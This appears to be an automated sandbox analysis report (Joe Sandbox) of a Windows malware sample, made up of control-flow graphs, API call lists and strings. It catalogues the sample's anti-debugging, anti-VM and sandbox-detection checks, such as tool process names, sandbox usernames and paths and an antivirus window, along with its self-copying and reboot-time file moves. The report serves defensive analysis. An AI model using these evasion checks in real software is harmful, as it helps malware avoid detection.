30483->30485 30484->30419 30486 4013a3 30485->30486 30487 401324 SetFilePointer LockFile WriteFile UnlockFile 30485->30487 30486->30419 30488 401379 30487->30488 30489 401369 SetEndOfFile 30487->30489 30488->30486 30490 401387 GetHandleInformation 30488->30490 30489->30488 30490->30486 30491 401396 30490->30491 30491->30486 30492 40139c FindCloseChangeNotification 30491->30492 30492->30486 30494 401ed2 GetFileTime 30493->30494 30495 401f65 MoveFileExA GetModuleHandleA 30493->30495 30496 401ef0 GetHandleInformation 30494->30496 30497 401f0c CreateFileA 30494->30497 30495->30420 30495->30421 30496->30497 30498 401eff 30496->30498 30497->30495 30499 401f2b SetFileTime 30497->30499 30498->30497 30500 401f05 CloseHandle 30498->30500 30499->30495 30501 401f49 GetHandleInformation 30499->30501 30500->30497 30501->30495 30502 401f58 30501->30502 30502->30495 30503 401f5e CloseHandle 30502->30503 30503->30495 30505 401a33 30504->30505 30506 401a8f 30504->30506 30507 401a45 GetHandleInformation 30505->30507 30508 401a5d 30505->30508 30506->30423 30507->30508 30511 401a50 30507->30511 30509 401a81 30508->30509 30510 401a69 GetHandleInformation 30508->30510 30509->30423 30510->30509 30513 401a74 30510->30513 30511->30508 30512 401a56 CloseHandle 30511->30512 30512->30508 30513->30509 30514 401a7a CloseHandle 30513->30514 30514->30509 30515->30408 30516->30427

                                                                                                                                                                                                            Executed Functions

                                                                                                                                                                                                            Function 00402B70 Relevance: 68.4, APIs: 30, Strings: 9, Instructions: 163librarywindowCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 0 402b70-402ba7 call 401000 LoadLibraryA GetModuleFileNameA call 403920 5 402bb1-402bcc call 4021b0 call 4020c0 FindWindowA 0->5 6 402ba9-402bab ExitProcess 0->6 11 402be6-402c04 call 402340 call 402430 call 402520 call 402660 IsUserAnAdmin 5->11 12 402bce-402be0 GetTickCount PostMessageA 5->12 21 402c06-402c0d call 4033b0 11->21 22 402c17-402c2f IsUserAnAdmin GetModuleHandleA 11->22 12->11 21->22 30 402c0f-402c11 ExitProcess 21->30 24 402c50-402c54 22->24 25 402c31-402c41 GetProcAddress 22->25 28 402ca2-402ca4 24->28 29 402c56-402c58 24->29 25->24 27 402c43-402c4d GetCurrentProcess 25->27 27->24 31 402d59-402d72 call 401130 GlobalFindAtomA 28->31 32 402caa-402cbe StrStrIA 28->32 33 402c70-402c8e call 401130 GetCurrentProcessId call 401b70 Sleep 29->33 34 402c5a-402c6e StrStrIA 29->34 47 402db4-402db6 ExitProcess 31->47 48 402d74-402d83 GlobalAddAtomA IsUserAnAdmin 31->48 35 402cc0-402cd9 call 401130 GlobalFindAtomA 32->35 36 402cfd-402d10 call 4028b0 GlobalFindAtomA 32->36 33->47 34->33 37 402c93-402c98 call 4028b0 call 401520 34->37 35->47 57 402cdf-402cee GlobalAddAtomA IsUserAnAdmin 35->57 51 402d52-402d57 call 401520 36->51 52 402d12-402d21 GlobalAddAtomA IsUserAnAdmin 36->52 63 402c9d 37->63 54 402d95-402d9e IsUserAnAdmin 48->54 55 402d85-402d88 48->55 51->47 58 402d33-402d3c IsUserAnAdmin 52->58 59 402d23-402d2b 52->59 61 402da0 54->61 62 402da5-402dad call 401aa0 54->62 60 402d89-402d8d 55->60 57->54 65 402cf4-402cf8 57->65 66 402d43-402d4b call 401aa0 58->66 67 402d3e 58->67 59->58 60->54 61->62 62->47 73 402daf call 401b70 62->73 63->47 65->60 66->51 74 402d4d call 401b70 66->74 67->66 73->47 74->51
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 00401000: IsDebuggerPresent.KERNEL32 ref: 00401014
                                                                                                                                                                                                              • Part of subcall function 00401000: FindWindowA.USER32(OLLYDBG,00000000), ref: 0040102A
                                                                                                                                                                                                              • Part of subcall function 00401000: memset.MSVCRT ref: 0040104B
                                                                                                                                                                                                              • Part of subcall function 00401000: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00401056
                                                                                                                                                                                                              • Part of subcall function 00401000: Process32First.KERNEL32 ref: 00401071
                                                                                                                                                                                                              • Part of subcall function 00401000: StrStrIA.KERNELBASE(?,wireshark.exe), ref: 0040108D
                                                                                                                                                                                                              • Part of subcall function 00401000: Process32Next.KERNEL32(00000000,?), ref: 0040109D
                                                                                                                                                                                                              • Part of subcall function 00401000: GetHandleInformation.KERNEL32(00000000,00000000), ref: 004010B9
                                                                                                                                                                                                              • Part of subcall function 00401000: FindCloseChangeNotification.KERNELBASE(00000000), ref: 004010CB
                                                                                                                                                                                                              • Part of subcall function 00401000: PathFileExistsA.KERNELBASE(\\?\globalroot\systemroot\system32\vmx_fb.dll,vmwaretray.exe,idag.exe,dumpcap.exe), ref: 00401104
                                                                                                                                                                                                            • LoadLibraryA.KERNEL32(user32.dll), ref: 00402B86
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00402B9A
                                                                                                                                                                                                              • Part of subcall function 00403920: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403953
                                                                                                                                                                                                              • Part of subcall function 00403920: strstr.MSVCRT ref: 00403967
                                                                                                                                                                                                              • Part of subcall function 00403920: GetUserNameA.ADVAPI32(?,00000104), ref: 0040398C
                                                                                                                                                                                                              • Part of subcall function 00403920: CharUpperA.USER32(?), ref: 00403999
                                                                                                                                                                                                              • Part of subcall function 00403920: strstr.MSVCRT ref: 004039AB
                                                                                                                                                                                                              • Part of subcall function 00403920: strstr.MSVCRT ref: 004039C4
                                                                                                                                                                                                              • Part of subcall function 00403920: strstr.MSVCRT ref: 004039DD
                                                                                                                                                                                                              • Part of subcall function 00403920: strstr.MSVCRT ref: 004039F6
                                                                                                                                                                                                              • Part of subcall function 00403920: strstr.MSVCRT ref: 00403A0F
                                                                                                                                                                                                              • Part of subcall function 00403920: GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403A28
                                                                                                                                                                                                              • Part of subcall function 00403920: GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403A4C
                                                                                                                                                                                                            • ExitProcess.KERNEL32 ref: 00402BAB
                                                                                                                                                                                                            • FindWindowA.USER32(____AVP.Root,00000000), ref: 00402BC2
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 00402BCE
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000466,00010001,00000000), ref: 00402BE0
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 00402C00
                                                                                                                                                                                                            • ExitProcess.KERNEL32 ref: 00402C11
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: strstr$FileFindName$ExitInformationModuleProcessProcess32UserWindow$AdminChangeCharCloseCountCreateDebuggerDirectoryExistsFirstHandleLibraryLoadMessageNextNotificationPathPostPresentSnapshotSystemTickToolhelp32UpperVolumeWindowsmemset
                                                                                                                                                                                                            • String ID: IsWow64Process$Pnv$Tue Aug 2 12:53:17 20112$\apppatch\$____AVP.Root$explorer.exe$kernel32.dll$user32.dll$winlogon.exe
                                                                                                                                                                                                            • API String ID: 9317432-1956477594
                                                                                                                                                                                                            • Opcode ID: 284e66e4bbf4f984f0241835b871c3ec669658df2c17cadb1783e4bd5444081f
                                                                                                                                                                                                            • Instruction ID: 39ff8b4b23ffe36b6a173c4f6bdc5339f36d51dfac64fa60dc4ffdda49012cd9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 284e66e4bbf4f984f0241835b871c3ec669658df2c17cadb1783e4bd5444081f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8751A1B1600215ABEB107BF1EE0EB9E36686F84745F50013AFB01B61E1DBFC9C418A6D
                                                                                                                                                                                                            Function 004028B0 Relevance: 51.0, APIs: 22, Strings: 7, Instructions: 223memorylibraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(00401F70,?,0000001C,755CDB30,00000000,00000000), ref: 004028EB
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 00402903
                                                                                                                                                                                                            • PathFileExistsA.KERNELBASE(?), ref: 00402924
                                                                                                                                                                                                            • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 0040293C
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0040297D
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0040298D
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(?), ref: 0040299E
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 004029D6
                                                                                                                                                                                                              • Part of subcall function 00401600: GetTickCount.KERNEL32 ref: 0040160B
                                                                                                                                                                                                              • Part of subcall function 00401600: GetModuleHandleA.KERNEL32(ntdll.dll,?,004029E2,00000000), ref: 0040161C
                                                                                                                                                                                                              • Part of subcall function 00401600: GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 0040162C
                                                                                                                                                                                                              • Part of subcall function 00401920: GetTickCount.KERNEL32 ref: 0040194A
                                                                                                                                                                                                              • Part of subcall function 00401920: GetModuleHandleA.KERNEL32(ntdll.dll,?,004029EE,-00000006,00000000), ref: 00401957
                                                                                                                                                                                                              • Part of subcall function 00401920: GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401963
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 00402A50
                                                                                                                                                                                                            • CopyFileA.KERNEL32(?,?,00000001), ref: 00402A68
                                                                                                                                                                                                            • RtlImageNtHeader.NTDLL(00000000), ref: 00402A9A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402AC5
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00402AC8
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402AD4
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00402AD7
                                                                                                                                                                                                            • MoveFileExA.KERNEL32(?,?,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00402AF6
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00402B05
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00402B15
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(?), ref: 00402B26
                                                                                                                                                                                                            • GlobalFindAtomA.KERNEL32(Tue Aug 2 12:53:17 20111), ref: 00402B44
                                                                                                                                                                                                            • ExitProcess.KERNEL32 ref: 00402B55
                                                                                                                                                                                                            • GlobalAddAtomA.KERNEL32(Tue Aug 2 12:53:17 20111), ref: 00402B60
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ModuleProcess$AddressFileHandleHeapProc$CountTick$AtomCurrentGlobal$CopyDirectoryExistsExitFindFreeHeaderImageMoveNamePathQuerySystemValidateVirtualWindows_snprintf
                                                                                                                                                                                                            • String ID: %s_$.exe$IsWow64Process$Tue Aug 2 12:53:17 20111$\apppatch\$kernel32.dll$svchost.exe
                                                                                                                                                                                                            • API String ID: 4049655197-1703505012
                                                                                                                                                                                                            • Opcode ID: 8c19fc42e0cf0d5ec2b52a9f48d22261c74e53a708defb603739ef645998fcf7
                                                                                                                                                                                                            • Instruction ID: 7f5ae7708a7b69610b0b59458e4d7764c7ebe7900fbd9078b2849b4018493b30
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8c19fc42e0cf0d5ec2b52a9f48d22261c74e53a708defb603739ef645998fcf7
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6A715EB16043419FC710EF60DE889AB7BE8BB98300F44493EF785B72A1D7789904CB99
                                                                                                                                                                                                            Function 00403920 Relevance: 42.1, APIs: 15, Strings: 9, Instructions: 128stringCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 128 403920-40396e GetModuleFileNameA strstr 129 403974-40397b call 403870 128->129 130 403ac6-403ace 128->130 129->130 133 403981-4039b2 GetUserNameA CharUpperA strstr 129->133 133->130 134 4039b8-4039cb strstr 133->134 134->130 135 4039d1-4039e4 strstr 134->135 135->130 136 4039ea-4039fd strstr 135->136 136->130 137 403a03-403a16 strstr 136->137 137->130 138 403a1c-403a5a GetSystemWindowsDirectoryA GetVolumeInformationA 137->138 138->130 139 403a5c-403a61 138->139 139->130 140 403a63-403a68 139->140 140->130 141 403a6a-403a6f 140->141 141->130 142 403a71-403a76 141->142 142->130 143 403a78-403a9e GetModuleFileNameA StrStrIA 142->143 143->130 144 403aa0-403ab0 StrStrIA 143->144 144->130 145 403ab2-403ac2 StrStrIA 144->145 145->130 146 403ac4 145->146 146->130
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403953
                                                                                                                                                                                                            • strstr.MSVCRT ref: 00403967
                                                                                                                                                                                                              • Part of subcall function 00403870: RegOpenKeyExA.KERNELBASE(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,y9@), ref: 0040389C
                                                                                                                                                                                                              • Part of subcall function 00403870: RegQueryValueExA.KERNELBASE(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 004038C1
                                                                                                                                                                                                              • Part of subcall function 00403870: RegCloseKey.KERNELBASE(y9@), ref: 004038CF
                                                                                                                                                                                                            • GetUserNameA.ADVAPI32(?,00000104), ref: 0040398C
                                                                                                                                                                                                            • CharUpperA.USER32(?), ref: 00403999
                                                                                                                                                                                                            • strstr.MSVCRT ref: 004039AB
                                                                                                                                                                                                            • strstr.MSVCRT ref: 004039C4
                                                                                                                                                                                                            • strstr.MSVCRT ref: 004039DD
                                                                                                                                                                                                            • strstr.MSVCRT ref: 004039F6
                                                                                                                                                                                                            • strstr.MSVCRT ref: 00403A0F
                                                                                                                                                                                                            • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403A28
                                                                                                                                                                                                            • GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403A4C
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403A86
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\sand-box\), ref: 00403A9A
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\cwsandbox\), ref: 00403AAC
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\sandbox\), ref: 00403ABE
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: strstr$Name$FileModule$CharCloseDirectoryInformationOpenQuerySystemUpperUserValueVolumeWindows
                                                                                                                                                                                                            • String ID: Dave$MALNETVM$SANDBOX$VIRUSCLONE$\cwsandbox\$\sand-box\$\sandbox\$test user$test_item.exe
                                                                                                                                                                                                            • API String ID: 3012634381-649399103
                                                                                                                                                                                                            • Opcode ID: 98ae593a8036396cbb9844701f8c361d58fbeaa975e95f35afd36f7854fc9fb0
                                                                                                                                                                                                            • Instruction ID: 2772e22a84d8afe3dc88946ac3df406ee6e1198dc71f6cbec9561b14d5c35e9d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 98ae593a8036396cbb9844701f8c361d58fbeaa975e95f35afd36f7854fc9fb0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0341CA71A5031866DF20DB608D85FEB7B6CAF54B05F0C05BAE644F51D0E6F89B848F94
                                                                                                                                                                                                            Function 004021B0 Relevance: 36.8, APIs: 3, Strings: 18, Instructions: 81fileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 147 4021b0-4022fe CreateFileA 148 402330-402335 147->148 149 402300-40232a DeviceIoControl CloseHandle 147->149 149->148
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(\\.\KmxAgent,00000000,00000000,00000000,00000003,00000080,00000000), ref: 004022F3
                                                                                                                                                                                                            • DeviceIoControl.KERNEL32(00000000,86000054,000000B4,000000B4,?,00000004,?,00000000), ref: 00402323
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040232A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseControlCreateDeviceFileHandle
                                                                                                                                                                                                            • String ID: "$"$0$4$D$E$E$S$T$\\.\KmxAgent$d$e$g$m$m$s$t$t
                                                                                                                                                                                                            • API String ID: 33631002-3172865025
                                                                                                                                                                                                            • Opcode ID: 5d3052d786f23041ab38784f47b9df179f9997e430cc2c34ba2090ab9676636a
                                                                                                                                                                                                            • Instruction ID: 9d4a94b5be36249e2462cbbb3280e2e36e0391c5559e4b339ada8e43b165569f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5d3052d786f23041ab38784f47b9df179f9997e430cc2c34ba2090ab9676636a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D04194B0D01358DEEB20CF95D9887DEFEB5BB04309F5081ADD5186B241C7B90A89CF55
                                                                                                                                                                                                            Function 00401000 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 104processCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 167 401000-40101c IsDebuggerPresent 168 401022-401032 FindWindowA 167->168 169 40111b-401123 167->169 168->169 170 401038-401061 memset CreateToolhelp32Snapshot 168->170 171 401063-40107d Process32First 170->171 172 4010d5-4010e1 call 401aa0 170->172 174 401083-401091 StrStrIA 171->174 180 4010e3-4010ef call 401aa0 172->180 181 401124-40112f 172->181 176 401115-401119 174->176 177 401097-4010a1 Process32Next 174->177 179 4010a7-4010b1 176->179 177->174 178 4010a3 177->178 178->179 182 4010d1-4010d3 179->182 183 4010b3-4010c1 GetHandleInformation 179->183 180->181 188 4010f1-4010fd call 401aa0 180->188 182->172 182->181 183->182 185 4010c3-4010c8 183->185 185->182 187 4010ca-4010cb FindCloseChangeNotification 185->187 187->182 188->181 191 4010ff-40110c PathFileExistsA 188->191 191->181 192 40110e-401114 191->192
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsDebuggerPresent.KERNEL32 ref: 00401014
                                                                                                                                                                                                            • FindWindowA.USER32(OLLYDBG,00000000), ref: 0040102A
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040104B
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00401056
                                                                                                                                                                                                            • Process32First.KERNEL32 ref: 00401071
                                                                                                                                                                                                            • StrStrIA.KERNELBASE(?,wireshark.exe), ref: 0040108D
                                                                                                                                                                                                            • Process32Next.KERNEL32(00000000,?), ref: 0040109D
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 004010B9
                                                                                                                                                                                                            • FindCloseChangeNotification.KERNELBASE(00000000), ref: 004010CB
                                                                                                                                                                                                            • PathFileExistsA.KERNELBASE(\\?\globalroot\systemroot\system32\vmx_fb.dll,vmwaretray.exe,idag.exe,dumpcap.exe), ref: 00401104
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FindProcess32$ChangeCloseCreateDebuggerExistsFileFirstHandleInformationNextNotificationPathPresentSnapshotToolhelp32Windowmemset
                                                                                                                                                                                                            • String ID: OLLYDBG$\\?\globalroot\systemroot\system32\vmx_fb.dll$dumpcap.exe$idag.exe$vmwaretray.exe$wireshark.exe
                                                                                                                                                                                                            • API String ID: 1862551656-1290435522
                                                                                                                                                                                                            • Opcode ID: 561d3b303acbb630b127acd8213a7a6d32d8b3e20dd43d251141123fbd81c6f9
                                                                                                                                                                                                            • Instruction ID: c60aa232edd69d9eafc6284c2fbf788a46e5342051cb1b5dbcb922c87a134ace
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 561d3b303acbb630b127acd8213a7a6d32d8b3e20dd43d251141123fbd81c6f9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AB31E9B160430057D310AB66AC49B6BB7ECDBD8764F01013BFF44F62E1E77C888586AA
                                                                                                                                                                                                            Function 00403870 Relevance: 19.3, APIs: 4, Strings: 7, Instructions: 48registryCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 220 403870-4038a4 RegOpenKeyExA 221 4038d5-4038da 220->221 222 4038a6-4038c9 RegQueryValueExA 220->222 223 4038db-4038ec RegCloseKey 222->223 224 4038cb-4038cf RegCloseKey 222->224 223->221 225 4038ee-4038f5 223->225 224->221 225->221 226 4038f7-4038fe 225->226 226->221 227 403900-403907 226->227 227->221 228 403909-403911 227->228
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegOpenKeyExA.KERNELBASE(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,y9@), ref: 0040389C
                                                                                                                                                                                                            • RegQueryValueExA.KERNELBASE(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 004038C1
                                                                                                                                                                                                            • RegCloseKey.KERNELBASE(y9@), ref: 004038CF
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(y9@), ref: 004038DF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Close$OpenQueryValue
                                                                                                                                                                                                            • String ID: E$HARDWARE\DESCRIPTION\System$M$Q$SystemBiosVersion$U$y9@
                                                                                                                                                                                                            • API String ID: 1607946009-2685269968
                                                                                                                                                                                                            • Opcode ID: d1a36d96073f5a746890f6a5e71d9fcf43d2de7dda4d0654719f46e6941f7b17
                                                                                                                                                                                                            • Instruction ID: a73e17f2ece4285d148bbbe7d21167b22b4148350c2fc20c0d473cf4689022c2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d1a36d96073f5a746890f6a5e71d9fcf43d2de7dda4d0654719f46e6941f7b17
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 951165F2E00208FAEB20DF90DC45BAA7BB89B45315F1081EAE708751C1D7B86A448F5D
                                                                                                                                                                                                            Function 00402660 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 228commemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 229 402660-40268c CoInitializeEx 230 40268e-402691 229->230 231 40269f-4026c7 GetModuleFileNameW SysAllocString 229->231 230->231 232 402693-402699 230->232 233 402849-40284f 231->233 234 4026cd-4026d8 SysAllocString 231->234 232->231 235 4028a4-4028a9 232->235 236 402851-402856 233->236 237 402859-40285e 233->237 238 402833-402841 SysFreeString 234->238 239 4026de-4026ff CoCreateInstance 234->239 236->237 242 402860-402865 237->242 243 402868-40286d 237->243 240 402843-402844 SysFreeString 238->240 241 402846 238->241 244 402705-40270a 239->244 245 402807-40280a 239->245 240->241 241->233 242->243 247 402877-40287c 243->247 248 40286f-402874 243->248 244->245 246 402710-402721 244->246 245->238 246->238 254 402727-402738 246->254 249 402886-40288b 247->249 250 40287e-402883 247->250 248->247 252 402895-402897 249->252 253 40288d-402892 249->253 250->249 255 402899-40289c 252->255 256 40289e CoUninitialize 252->256 253->252 254->238 258 40273e-402748 254->258 255->235 255->256 256->235 259 40274d-40274f 258->259 259->238 260 402755-40275c 259->260 261 402831 260->261 262 402762-402773 260->262 261->238 262->261 264 402779-402791 262->264 266 402793-4027b3 CoCreateInstance 264->266 267 40280c-40281d 264->267 268 4027b5-4027ba 266->268 269 4027bc 266->269 267->261 273 40281f-402823 267->273 268->269 270 4027be-4027c3 268->270 269->270 270->261 272 4027c5-4027d0 270->272 272->261 276 4027d2-4027e3 272->276 273->261 274 402825-40282e 273->274 274->261 276->261 278 4027e5-4027f4 276->278 278->261 280 4027f6-402805 278->280 280->261
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CoInitializeEx.OLE32(00000000,00000002), ref: 0040267F
                                                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000), ref: 004026AD
                                                                                                                                                                                                            • SysAllocString.OLEAUT32(?), ref: 004026C0
                                                                                                                                                                                                            • SysAllocString.OLEAUT32(Windows Explorer), ref: 004026D2
                                                                                                                                                                                                            • CoCreateInstance.OLE32(00404E60,00000000,00004401,00404E70,?), ref: 004026FB
                                                                                                                                                                                                            • CoCreateInstance.OLE32(00404E80,00000000,00004401,00404E90,?), ref: 004027AF
                                                                                                                                                                                                            • SysFreeString.OLEAUT32(00402BFA), ref: 0040283D
                                                                                                                                                                                                            • SysFreeString.OLEAUT32(00000000), ref: 00402844
                                                                                                                                                                                                            • CoUninitialize.OLE32 ref: 0040289E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: String$AllocCreateFreeInstance$FileInitializeModuleNameUninitialize
                                                                                                                                                                                                            • String ID: Windows Explorer
                                                                                                                                                                                                            • API String ID: 1140695583-228612681
                                                                                                                                                                                                            • Opcode ID: 48870ef3a6f763ae96f3c2dd69552aefb7b97c57adec13363160e086d84a3559
                                                                                                                                                                                                            • Instruction ID: bcca5549e6a36079ff93457438ec30656b046552e7bb8440c472f06e22bdaec7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 48870ef3a6f763ae96f3c2dd69552aefb7b97c57adec13363160e086d84a3559
